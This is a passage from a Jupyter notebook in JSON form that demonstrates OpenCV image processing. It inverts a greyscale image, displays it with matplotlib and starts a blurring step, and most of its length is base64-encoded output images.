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\n", - "text/plain": [ - "
" - ] - }, - "metadata": { - "needs_background": "light" - }, - "output_type": "display_data" - } - ], - "source": [ - "invert_img = cv2.bitwise_not(grey_img)\n", - "inv_rgb_img = cv2.cvtColor(invert_img, cv2.COLOR_BGR2RGB)\n", - "plt.imshow(inv_rgb_img)" - ] - }, - { - "cell_type": "markdown", - "id": "da1a4610", - "metadata": {}, - "source": [ - "### Bluring the image" - ] - }, - { - "cell_type": "code", - "execution_count": 22, - "id": "22a9ca56", - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "" - ] - }, - "execution_count": 22, - "metadata": {}, - "output_type": "execute_result" - }, - { - "data": { - "image/png": "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